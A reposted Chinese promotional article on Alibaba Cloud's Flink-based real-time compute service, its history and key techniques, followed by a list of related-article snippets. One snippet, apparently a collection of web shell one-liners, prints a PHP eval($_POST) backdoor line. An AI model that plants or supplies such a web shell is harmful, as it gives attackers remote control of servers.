阿里云实时计算的前世“功”今生“能”

前言:
不修内功,难成大器。为了将Apache Flink在阿里巴巴真正运行起来,阿里巴巴实时计算团队做了大量的优化,在阿里云上的产品正式命名为实时计算,以Flink SQL为主要API,致力于打造一款全球领先的实时计算引擎。

正文:
阿里云实时计算大可成稻草,小亦是利器
在光明日报近期的文章中,回首互联网接入中国的二十多年,特别是最近五年,被互联网之光照耀的地方,许多人的命运因互联网而发生改变,人们可以通过一个鼠标、一根网线或者一部手机就能与广阔的世界相连。

有了互联网,陕西省山阳县贫困山区的孩子可以免费接受数字教育,通过互联网认识到长颈鹿不是猪身马首的动物。有了互联网,甘肃山村贫困户家里养的山羊二十四小时就能通过专业冷链供应给上海市民。有了互联网,80岁的乌镇老太太可以用手机购物,开直播,成为“网红”。这样的故事还有很多很多。

然而科技并未止步于此,一直在不断向前探索,对于企业来说,互联网一面是阳光,一面是波涛。从互联网时代到人工智能时代,从数据量成指数级的爆发到应对实时计算的探索。到了今天,我们不止将目光局限在淘宝能购物就好,物流能到货就好,我们追求的是越来越精准化的购物体验,对企业也提出了更加实时化,智能化的需求。

实时计算一时间成为了企业向实时化、智能化大数据计算升级转型的稻草,抓住,则可继续在波涛浪潮中翻滚,享受阳光。为了成为全球领先的实时计算引擎,阿里云实时计算花了三年时间来苦练内功。

阿里云实时计算的前半生,我叫Apache Flink™
2015年10月StreamCompute第一版在阿里巴巴集团内部发布,支持集团双十一任务迁移到新平台,保障大屏任务顺利。2016年blink发布上线,成功支持搜索和推荐双11全链路实时化。同年6月,公有云正式对外发布公测,为中国公有云环境下第一家提供流式数据处理平台的产品Apache Flink™正式上线,并从阿里巴巴的搜索和推荐这两大场景开始实现。

对于阿里巴巴来说,为什么需要Apache Flink™
阿里巴巴的商品数据处理经常需要面对增量和全量两套不同的业务流程问题,所以阿里巴巴就在想:能不能有一套统一的大数据引擎技术,用户只需要根据自己的业务逻辑开发一套代码。这样在各种不同的场景下,不管是全量数据还是增量数据,亦或者实时处理,一套方案即可全部支持,这就是阿里巴巴选择 Flink 的背景和初衷。

目前阿里巴巴所有的业务,包括阿里巴巴所有子公司都采用了基于 Flink 搭建的实时计算平台。同时 Flink 计算平台运行在开源的 Hadoop 集群之上。采用 Hadoop 的 YARN 做为资源管理调度,以 HDFS 作为数据存储。因此,Flink 可以和开源大数据软件 Hadoop 无缝对接。
但是彼时的 Flink 不管是规模还是稳定性尚未经历实践,成熟度有待商榷。

阿里云实时计算关键技术揭秘

揭秘关键技术之一:统一API
为了能够真正做到用户根据自己的业务逻辑开发一套代码,能够同时运行在多种不同的场景,Flink 首先需要给用户提供一个统一的 API。在经过一番调研之后,阿里巴巴实时计算认为 SQL 是一个非常适合的选择。在批处理领域,SQL 已经经历了几十年的考验,是公认的经典。

API选定好了,随之而来的就是对SQL 层的技术架构进行升级和替换。阿里巴巴在 SQL 层提出了全新的 Quyer Processor,主要包括一个流和批可以尽量做到复用的优化层(Query Optimizer)以及基于相同接口的算子层(Query Executor)。这样一来, 80% 以上的工作可以做到两边复用,比如一些公共的优化规则,基础数据结构等等。同时,流和批也会各自保留自己一些独特的优化和算子,以满足不同的作业行为。
_

揭秘关键技术之二:全新的数据结构

SQL 层的技术架构统一了,阿里巴巴开始寻求以全新的数据结构BinaryRow,从而让 Blink 在 SQL 层的执行效率得到1倍以上的提升。得益于技术架构和基础数据结构的统一,很多代码生成技术得以达到更广范围的复用。同时由于 SQL 的强类型保证,用户可以预先知道算子需要处理的数据的类型,从而可以生成更有针对性更高效的执行代码。

揭秘关键技术之三: 改造 Flink 资源调度系统

为了让 Flink 在 Alibaba 的大规模生产环境中生根发芽,实时计算团队如期遇到了各种挑战,首当其冲的就是如何让 Flink 与其他集群管理系统进行整合。上面说到了Flink 原生集群管理模式尚未完善,也无法原生地使用其他其他相对成熟的集群管理系统。基于此,一系列棘手的问题接连浮现:多租户之间资源如何协调?如何动态的申请和释放资源?如何指定不同资源类型?

通过大量的调研与分析,最终选择的方案是改造 Flink 资源调度系统,让 Flink 可以原生地跑在 Yarn 集群之上;并且重构 Master 架构,以此为契机,阿里巴巴和社区联手推出了全新的 Flip-6 架构,让 Flink 资源管理变成可插拔的架构,为 Flink 的可持续发展打下了坚实的基础。如今 Flink 可以无缝运行在 YARN、Mesos 和 K8s 之上,正是这个架构重要性的有力说明。

揭秘关键技术之四:高可靠性、高稳定性
为了保证 Flink 在生产环境中的高可用,阿里巴巴着重改善了 Flink 的 FailOver 机制。首先是 Master 的 FailOver,Flink 原生的 Master FailOver 会重启所有的 Job,改善后 Master 任何 FailOver 都不会影响 Job 的正常运行;其次引入了 Region-based 的 Task FailOver,尽量减少任何 Task 的 FailOver 对用户造成的影响。有了这些改进的保驾护航,阿里巴巴的大量业务方开始把实时计算迁移到 Flink 上运行。

阿里云实时计算,锤炼后必将大放异彩

阿里云实时计算在阿里巴巴内部是一个不断被挑战,不断强化的过程。阿里巴巴是商业市场的缩影,淘宝、阿里影业等都已应用了阿里云实时计算。支撑了淘宝对选品实时性的高要求,为阿里影业提供了满足未来2-3年随着影院增加,数据增长的报表功能解决方案。

在外部解决了贵州茅台数据采集实时性、稳定性差、各渠道下的流量、交易及售后物流、服务、退款退货等环节分析困难、异常预警信息监控困难等难题。

阿里云实时计算今年4月份正式商业化之后,截止目前,使用用户已经超过2000家。在已有的用户中,实时计算主要应用于实时互联网数据分析、实时数据大屏、实时金融风控、电商实时推荐等诸多领域。阿里集团内淘宝、天猫、天弘基金、菜鸟、工业大脑等诸多业务均大量应用了实时计算技术,在集团外,也包括众安保险、全民TV、新华智云、贵州茅台等诸多公司的应用案例。

2005年,弗里德曼在《地球是平的》一书中,曾兴奋地描述了技术让世界变平的过程,预言全球化的大趋势不可逆转。尽管当今世界,全球化的过程面临一波三折,但全球化的浪潮,终究是不可逆的,特别是在这个互联网时代。今天,阿里云实时计算用自身的实力不断证明了自己,成为全球领先的实时计算引擎。

 

原文链接
本文为云栖社区原创内容,未经允许不得转载。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/520426.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

多方法调用 一个出错 集体回滚_一个@Transaction哪里来这么多坑?

前言在之前的文章中已经对Spring中的事务做了详细的分析了,这篇文章我们来聊一聊平常工作时使用事务可能出现的一些问题(本文主要针对使用Transactional进行事务管理的方式进行讨论)以及对应的解决方案事务失效事务回滚相关问题读写分离跟事务结合使用时的问题事务失…

4K修复版《海上钢琴师》登陆全国院线,一文读懂背后的黑科技!

最近有件大事,11 月 15 日,全球瞩目的经典电影《海上钢琴师》4K 修复版登陆了全国院线。岁月侵蚀的影片经典场景,在老胶片的保存下只剩模糊的影像。而此次经 4K 技术修复的版本,据说采用了先进的图像超分辨率技术,分辨…

因为看见,所以发现:QBotVariant谢绝落幕

互联网给人带来便捷的同时,其公开大量的资源也同样给恶意利用者带了便捷,越来越多公开的恶意程序源码降低了对外攻击、入侵的难度,使得安全问题愈加严重。 阿里云安全团队从今年5月份监测到一BOT家族,其样本改写自互联网公开渠道…

VS Code 常用快捷键

文章目录1. 更新中版本2.待更新版本1. 更新中版本 shift altd 转换为大写 shift altx 转换为小写ctrlp 搜索文件 CtrlH 替换 Ctrl shell命令窗口 CtrlF 查找 CtrlB 切换侧边栏 CtrlC 如果不选中,默认复制一整行 Ctrl\ 切出一个新的编辑器 Ctrld 双击关键词&#…

js如何监听元素事件是否被移除_JS移除事件监听的方法 .removeEventListener( )

JS用addEventListener添加事件监听方法后,可以用removeEventListener来解除监听:element.removeEventListener(event, myFunction)注意:兼容: IE 8 及更早 IE 版本,Opera 7.0及其更早版本不支持 addEventListener() 和…

应用监控的选型思考

最近由于项目的缘故,经常会和同学们聊到一个话题,那就是企业如何在应用性能管理(Application Performance Monitoring, 简称APM) 领域的开源和商业化产品中选择合适自己的产品,下面就以该领域为例和大家做一个分享。 先说结论:没…

Linux Shell脚本_历史命令显示操作时间

当前用户什么时间执行的什么命令 ① 脚本编写 创建脚本 vim displayHisoperTime.sh添加脚本内容如下: if ! grep HISTTIMEFORMAT /etc/bashrc; thenecho export HISTTIMEFORMAT"%F %T whoami " >> /etc/bashrc fi保存退出:wq ② 运行脚本 chmo…

阿里云应用高可用服务公测发布

产品介绍: 应用高可用服务 AHAS 是一款专注于提高应用高可用能力的 SaaS 产品,提供应用架构自动探测、故障注入式高可用能力评测和一键应用限流降级等功能,可以快速低成本地提升应用可用性。适用客户: 企业运维/开发者发布功能&am…

5G套餐到底该不该换?看完你就明白啦!

戳蓝字“CSDN云计算”关注我们哦!作者 | 小枣君责编 | 阿秃此前,三大运营商正式宣布5G商用,并公布了各自的5G资费套餐。毫无意外,正式公布出来的套餐内容,和之前运营商内部泄露的内容完全一致。5G套餐公布之后&#xf…

intl扩展 mac 安装php_mac下php安装intl扩展代码分享

最近在做一个项目,需要用xampp集成开发环境。xampp是最新版的,且php的intl扩展没有,没有php扩展的源码。需要手动编译intl扩展。环境:mac xampp步骤:(1)php -v:查看php的版本,是7.0.2&#xff0…

阿里云异构计算产品是如何保障双11业务的

一年一度的双11购物狂欢节,是全球商家和消费者的盛会,同时也是一场技术的盛会,人脸识别,图片搜索,字符识别,语音识别,8K视频直播,智能推荐,语音助手等最先进的技术手段被…

Linux Shell脚本_禁止定时任务发送邮件

① 脚本编写 操作错误时,服务器会定时发送邮件,目录在/var/mail/下面,导致小文件增多,影响服务器性能,上面的追加错误为空,也是为了这个目的 sed -i s/^MAILTOroot/MAILTO""/ /etc/crontab② 运…

最in的一期,来自大厂的邀请|C课有道

毋庸置疑,现在是“一切皆数”的时代,放眼目前炙手可热的大数据、人工智能等创新技术,如果没有数据加以支撑,一切的一切将毫无用武之地,更不必谈信息化、智能化and so on,而数据库作为存储和承载数据的重要场…

聚合多个文件_python数据分析与挖掘(二十五)--- Pandas高级处理分组与聚合

分组与聚合通常是分析数据的一种方式,通常与一些统计函数一起使用,查看数据的分组情况想一想其实刚才的交叉表与透视表也有分组的功能,所以算是分组的一种形式,只不过他们主要是计算次数或者计算比例!!看其…

Linux Shell脚本_设置最大打开文件数

① 脚本编写 if ! grep "* soft nofile 65535" /etc/security/limits.conf &>/dev/null; then cat >> /etc/security/limits.conf << EOF* soft nofile 65535* hard nofile 65535 EOF fi② 运行脚本 chmod ux AutoSyncTime.sh ./AutoSyncTime.s…

看完这些干货帖,大数据产品从入门到精通

欢迎来到“MVP教你玩转阿里云”系列教程&#xff0c;在这里&#xff0c;你将看到各行各业数字化转型的一线实践&#xff0c;学到资深开发者的经验结晶。 你将以云计算领域的技术领袖为师&#xff0c;加速了解阿里云技术产品和各行业数字化转型的场景。 点击关注&#xff0c;在…

物联网现状及落地难点

大家好&#xff0c;我是叶帆科技的创始人兼CEO&#xff0c;刘洪峰&#xff0c;非常高兴能和阿里云MVP项目组成员一起来制作《MVP 时间》内容&#xff0c;帮助物联网企业开发者了解物联网接入难点及解决方案。 下面简单做个自我介绍&#xff1a; 1、1995年开始做软件开发&#…

aspx转发php_asp,php,aspx一句话合集

推荐还是把一句话加进图片里面去。普通的php一句话&#xff1a;<?php eval($_POST[r00ts]);?>普通的asp一句话&#xff1a;aspx突破一流的&#xff1a;ASP一句话:""ThenExecuteGlobal(Request("1"))%>PHP防杀放扫 一句话&#xff1a;<?php …

Linux Shell脚本_较少Swap使用

① 脚本编写 echo "0" > /proc/sys/vm/swappiness② 运行脚本 chmod ux AutoSyncTime.sh ./AutoSyncTime.sh 或者 bash AutoSyncTime.sh注&#xff1a;脚本名称自定义 ③ 脚本内容简述 编辑/proc/sys/vm/swappiness文件修改值

物联网落地三大困境破解

大家好&#xff0c;我是叶帆科技创始人兼CEO&#xff0c;阿里云 MVP。 第一章我们讲了物联网实施以及落地的三大难点。 本章节就来看一下就这三大难点进行解析&#xff0c;以及将有什么样的应对方案。 在第一章节中&#xff0c;第一大难点说到的是接口多&#xff0c;协议更多…